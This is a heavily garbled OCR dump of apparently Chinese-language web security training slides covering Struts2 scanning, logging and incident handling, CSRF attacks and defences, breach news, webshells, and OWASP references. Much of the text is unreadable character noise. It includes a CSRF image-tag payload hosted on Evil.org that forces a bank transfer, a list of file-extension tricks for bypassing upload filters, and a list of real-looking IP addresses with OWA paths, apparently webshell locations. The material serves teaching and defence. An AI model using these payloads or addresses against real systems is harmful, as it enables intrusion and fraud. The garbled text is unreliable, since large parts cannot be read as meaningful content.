[ Struts?_ClassLoader_ManipulationZ. script

|7 struts?_Development_Mode. script

i |1 struts?_Remake_Code_Execution,script

o[ [ struts?_Remote_Code_Fxecution_S52014.script

Seripts executed after the crawl was finished

Struts2_ClassLoader_Manipulation, script

Strubs2_ClassLoader_Manipulation2. script

StruksZ_Development_Mode, script

This script checks for Multiple critical vulnerabilities in Apache Struts2, Apache Struts2 is a web framework and it ...
StruksZ_Remote_Code_Execution_S2014.script

&) Acunetix ~ Metasploit ~ ....

/ 28

v
> & ¥ E
v % Black Duck ....

Black Duck Software Composition
Analysis

Find and fix open source security and license compliance
issues throughout the SDLC:

Black Duck Open Source Audits

Get a fast and accurate analysis of open source license and
security risks for M8A and internal audits.
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A10 - Insufficient Logging &
Monitoring

Copyright of STI



PEARAL T T R K

Authentication
(£ »333E)

Authorization Audit
(B2 ) (¥ 277%)
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Notification 2 End User

> TH TR R i # —'F'f
B 8 A ACE LR R TR YN
VRBRL CLERBDY - RBEXR
v iR A Flenig iz
v s N4 e 3

> i1 & JE 3% 1§ out-of-band -1
v Email/g 13 2
vV §R/E

Fi Frehp B Y R &R BATE R
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LLog Content

» For Security
V B x(R#HB4L ) F D
V RBRL CRERBSY - RBEX
v A FHE N
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VEEHN AL (XA B4 )
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_og = Monitoring

>R ¥ TEER
EATHPG
— SQL Injection ?
— XSS?
— AR{E?
-2 ¥ I &E
- BEFHER
VB BB
- % 4 HRIRE?
— «’isﬁlx | TH?
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Incident Handling

aggregation correlation
' Event I Incident '

» Incident Handling

User
Administrator
Stakeholders

VV VVYYVY

P
IP Range

User Rights
User Account

Y VY

Monitor / Disable



Others:
Cross-Site Request Forgery (CSRF)
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Alice
ﬁ /login.html

/auth.aspx?id=Alice&pw=fmd9032

Cookie: sessionid=40a4c04de

>

<

[transfer.aspx?from=Alice&to=Bob&amt=$10000
Cookie: sessionid=40a4c04de

“Transfer Done !”
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R IL P (cont.)

Alice Bank.com Evil.org
ﬁ /login.html

< 40 |

/auth.aspx?id=Alice&pw=fmd9032
Cookie: sessionid=41d8u31op

>

<
[evil.html
: >
<IMG SRC:http://bank.com/t:ransfer.aspx
p ?from=Alice&to=Evil&amt=$10000 >

/transfer.aspx?from=Alice&to=Evil&amt=$10000
Cookie: sessionid=41d8u31op

>

éb p “Transfer Done !”
| 171



R CSRF‘,!: Jt 3> RFEIREA N E - AR
C A R °
» Workaround

o

VIRFIR * F g » § %FRE
VHAIWER I E D
— Double confirm

— Re-authenticate
— Two-factor Authentication

VEERR T F AT R A6 R ERAA N
@\‘65&" HTTP % B¢ “Referer” =» ’u;,tu%s.g
~ %2 CAPTCHA D 2 £ 3 $¥ 2% & F 174 i A ¢

> A0 7R % Completely Automated Public Test to tell
Computers and Humans Apart SIZC2 )
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v £ ¥ R ¥ “Custom Random Token:
_HHER ISR I LETH

n f’ 5 | <form action="/transfer.do" metho d="post">
<input type="hidden" name="8438927730" value="43847384383">

</form=
> isxb A A2 4 T pF s 24 - Brandom token % >t £ H E R
o ¥ e pE-t B3 ~ {S xisession data® e
> e Rl FEN AR E TREBRN L EE S G R
\’? J‘/ '4EJ F@*Fglfl IJ ’ IYIJ'&?S/”\%_P\ 4’5 3L o
\‘ j
- A3 R

>y AR A 2 AT
> LR A FRE - F RCEURLSEY
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» Solution by Frameworks

v .NET : ViewStateUserKey
— Starting with Visual Studio 2012

— http://software-security.sans.org/developer-how-to/developer-guide-csrf

v’ Java : OWASP CSRF Guard

— https://www.owasp.org/index.php/Category:OWASP CSRFGuard Proj

ect

What is CSRFGuard?
OWASP CSRFGuard provides:

« A library that implements a variant of the synchronizer token pattern to
mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.

« A JavakE Filter and exposes various automated and manual ways to
integrate per-session or pseudo-per-request tokens into HTML.
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FopploZSER T 5008iPhone 8 Plus

EEFLIE -0

H2&iPhone X5 MAX

# 5 H156558005%
MM HER
BET
WiE—EREHEY
ESmThT

RMEFER L NRSE—IE
HIEFmaw@eT ?

IEREHc02aW

aiteg| ima

R
ArEE A RS T AE S e

g~

o b0

ARRITiEAREApple pay. (B BEERTIZE)

179



=3l 201s= 10530 [ERIE v |

[BHERE] EFEHEERD WEE
FHRIEREMEEEAER
© 151,014 s= Rl W&

[(#FrizEmEE]

EHMEEARMBLIINEERENE  BEMZASNEREE
B BEMEENBEN T RERNEFTRENAEL - BZF AL
HEReERE  REFRIRIRENEZEF T  EEEFEME

ENETEHE  ZEENALEAEMNEENEFEHE  F8
EHEZEENEASE AEARESER TN EMARTEMAL
20 BERERLERAE -

180

https://hk.news.appledaily.com/local/realtime/article/20181030/58851244




%ﬁﬁtﬁt

18R

B /RS | 2019-01-16 2=

5 s iR Al sk e = s R RCER, IEFANE

H EXEEMRZEI Z2FAmadeunsEETERE BLATRERERES 2 E—H6UBARAE]
fIL£#EPNR » BEESEARZEATADAL  2EEH - FERT  AEHEAEH -

PETEE] =0 Thomesss=

Cyber Leadership
Forum

> UEIHS

FEMEABRER  EEERMCHNEERZI SEENE IS5

EZEEE AmadeusZFZEER FHIRE  BEERENENERENERBENAIE

E%8 GOPR BME

]EE'

ilﬁﬁﬂj‘ﬁﬁgg AmadeusEERERAE FNT 257 BEMUIERZELEE
3/19(=)~21(m) #HEIR

=

E SEBSHE  MNE=ARE - 25 =6 EIRZRLEIS
Z - EIESERZ=2HEAENcam RotemZELI &5 ZaT £ =S
Amadeus 2ESRIETES  EPE=UBAEEULER
{ personal name record, PNR ) 89355 https://fly.elal.co.il/LOTS-OF-
NUMBERS-HERE -

BEEREEE RN FRIRULE SOURCE 1 IDEITigRmAE S - PNRAIEER

BIFEARE - WIS - ERMIE -

PNRE—#E6E=SAHFERHNIFEZULE - CARE LSt RETL
FsREMEUHRI -

SEEAERESTEPNR  HEEEASEHERAZLTNANREZETER - &

BROTEENEEERIEAES - EERBUNES ENEPNETEHNER

o=T
E—Eg\ﬂ' g

181
Copyright of STI



EEEEI0T | EEKAPPERAE BIEL5
A&EBE1T5EE
2 45919  WRREER @ 2019/03/11 17:00 o o

APP . REERBYEANAREER  BYEAFMAYnTSEMR0T - BIEHS
AEIERNE  BARSEEESHENE T TRAES ) REAPP » FEERER

EATIRHAPP EASERME -

182



PRABA B E - €134 Sk
PER G E B RBI

VHEEE ~ 720 530k 4k Bt
v %—kdﬁﬁgﬁ(é’ A E)d (S B

PEARER > HE XS '"*gsgl

v’ & % Business Logic m%ﬁﬁ'

VR @ H R k- LB EHR Rk
_ A RE k@A LA
- 7 % I {5 HSession @ (et FHLEL) Y hBF o

183






WebShell g
ER PP AN

I_cumfpy_webshell.py‘?path:.f'l’ruject ‘T\r - I'r Foogle
J.Backdoor Hot Found ﬁ‘

|.;’Prnject M E R

WebshellHE | 1EET | FESEEE | 1iTHS | SocketRM

SRITRE (. /Project) THIHE:

WE REEUHE X #, -1

carf 2009-02-16 22:17:37 - R/W/X Del/Rename

fizh 2009-02-16 22:17:37 - R/W/X Del/Rename
ieprint 2009-02-16 22:17:37 - R/W/X Del/Rename

poc 2008-02-16 22:17:37 - R/W/X Del/Rename
webtrojan 2009-02-16 22:17:37 - R/W/X Del/Rename

WOIT 2009-02-16 22:17:37 - R/W/X Del/Rename
0x37Project.rar 2008-07-11 21:57:00 68.26FE R/W/X R/C/D/ Del/Rename
doc.html 2008-05-20 22:50:00 0.05KB R/W/X R/C/D/ Del/Rename
gWoIm.js 2008-05-16 14:01:00 1.87KB R/W/X R/C/D/ Del/Rename
kb.js 2008-06-03 15:12:00 0.01KE R/W/X R/C/D/ Del/Rename
(C)Xeye Hack Team

Web Server
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Aspxshell --#i# asp.net —AliEwebshelllEE Pig

i TIETTE MR w ebshell

51 webshell asp/php/cagi for download

HEN T RS R webshell ... 1 2

PR4567 webshell 2 EaEETH WEidr

TREEPRL-s8webshell 55—

HiH Em i webshell

HiH Em M webshell

HEPR4-5F 5000+ webshell

HE webshell BaE

TR EPRL-SHwebshell 55—

ITEHEPRY-5FIwebshell 53—~

fEWEBSHELL TR WINRARITEEERL
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/7202, 183. 235. 4/ova/auth/signout. aspx

/7122, 146. T1. 136/ova/auth/error3. aspx
/159, 124. 43. 229/ ova/auth/erroro. aspx
/1202, 134. 62. 169/ova/auth/signin. aspx
//202. 164. 206/ ova/auth/signout. aspx

/7213, 14. 218, 51 /ova/auth/logon. aspx

//88, 255, 182, 69/ova/auth/getidtoken. aspx

//95. 0. 139. 4¢/ova/auth/logon. aspx
/71,202,179, 13/ova/auth/errorl. aspx
/71,202,179, 14/ova/auth/errorl. aspx
/7114. 255, 190. 1/ova/auth/errorl. aspx
/7180, 166, 27. 217/ova/auth/errors. aspx
//180. 169. 13. 230/ ova/auth/errorl. aspx
/7210, 22, 172. 26/ova/auth/errorl. aspx
//221. 5. 148. 230/ ova/auth/outl ook, aspx
//222.178. 70. 8/ova/auth/outlook. aspx
/1222, 66. 8, T6/ova/auth/errorl, aspx
//%8. 210, 216. 113/ova/auth/errorl. aspx
//60. 247. 31. 237/ova/auth/errors. aspx
//60. 247. 31. 237/owa/auth/logoff. aspx
//202. 104. 127, 218/ ova/auth/errorl. aspx
//202. 104, 127. 218/ ova/auth/exppv. aspx
//132. 68. 32. 165/ova/auth/1ogout. aspx
//132. 68, 32. 165/0ova/auth/signout. aspx
//209, 88. 89, 35/ova/auth/1ogout. aspx
/1114, 198, 235, 22/ova/auth/1ogin. aspx
//114. 198, 237. 3/ova/auth/login. aspx
/7185, 10. 115. 199/ova/auth/logout. aspx
/7195, 88. 204. 17/ova/auth/logout. asnx
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— asp.dll : asp ~ asa ~ cer ~ cdx ...
— ssinc.dll : stm ~ shtm ~ shtml

v .php/ .jsp

v .gif.php (% £ "4 %)

v %2E%70%68%70 (> .php)
v .pHp

v’ .ccerer

v 4eBh/4e 2w

> h R B R A
v NULL
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» Confidentiality

> Integrity
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@ ASVE 2014 Web Application Standard

Detailed Verification
Requirements

— This section of the OWASP Application Security Verificatkon Standard (ASVS) defines detalled verification
requiremants that were derived from the high-level requirements for each of the verification levels defined in
this standard. Each section below defines a set of detalled verification requirements grouped into refated
BEAS.

The A5WS defines the following secwrity requirements areas. The numbering scheme has been kept
consistent with the previous wersion of ASVS to help with individuwals wishing to transition from one to the
other.

Securing Web Application Technologies
[SWAT] Checklist V2. Authentication

V3. Session Management
Vb, Aeceas Contral

V5. Maliclous Input Handling .
V7. Cryptography at Rest @DLUF!SD ‘ TESting Guide 'I ‘5.0

VE. Error Handling and Logging

DATA PROTECTION 9. Data Profection

VIO, Communications

CONFIGURATION AND OPERATIONS iy A = I 2A58

ERROR HANDLING AND LOGGING

AUTHENTICATION :-s. :::m:;ng-r
SESSION MANAGEMENT V17, Makile
INPUT AND OUTPUT HANDLING >  https://www.owasp.org/index

.php/Category:OWASP_App

lication_Security_Verification

ACCESS CONTROL _Standard_Project

> https://www.owasp.org/imag
es/5/58/0WASP_ASVS_Ver
sion_2.pdf

(JANSApgSec < v v ororcouLu

APRLICATION & BOFTWARE :[CIIH.\‘ Get the right training to build secure applications.

»| https://software-security.sans.org/resources/swat
»| https://www.sans.org/security-resources/posters/securing-web-application-
technologies-swat/60/download

» https://www.owasp.org/index.php/OWASP_Testi
ng_Project#tab=New_OWASP_Testing_Guide 1 97
> https://www.owasp.org/images/1/19/0TGv4.pdf
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> %4 : T HTTP Essentials ;5 - Stephen Thomas

» 3 £: T The Web Application Hackers Handbook 4 - Dafydd
Stuttard ~ Marcus Pinto

» % #: T Hacking the Code (ASP.NET Web ApplicationSecurity)
g - Mark M. Burnett ~ James C.Foster

» % £: T Secure Java - For Web Application Development y -
Abhay Bhargav and B.V. Kumar
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» “2011 CWE/SANS Top 25 Most Dangerous Programming Errors”
v' http://cwe.mitre.org/top25/index.html#L isting
v https://www.sans.org/top25-software-errors

» [Veracode] “State of Software Security 2017”

200



Copyright of STI



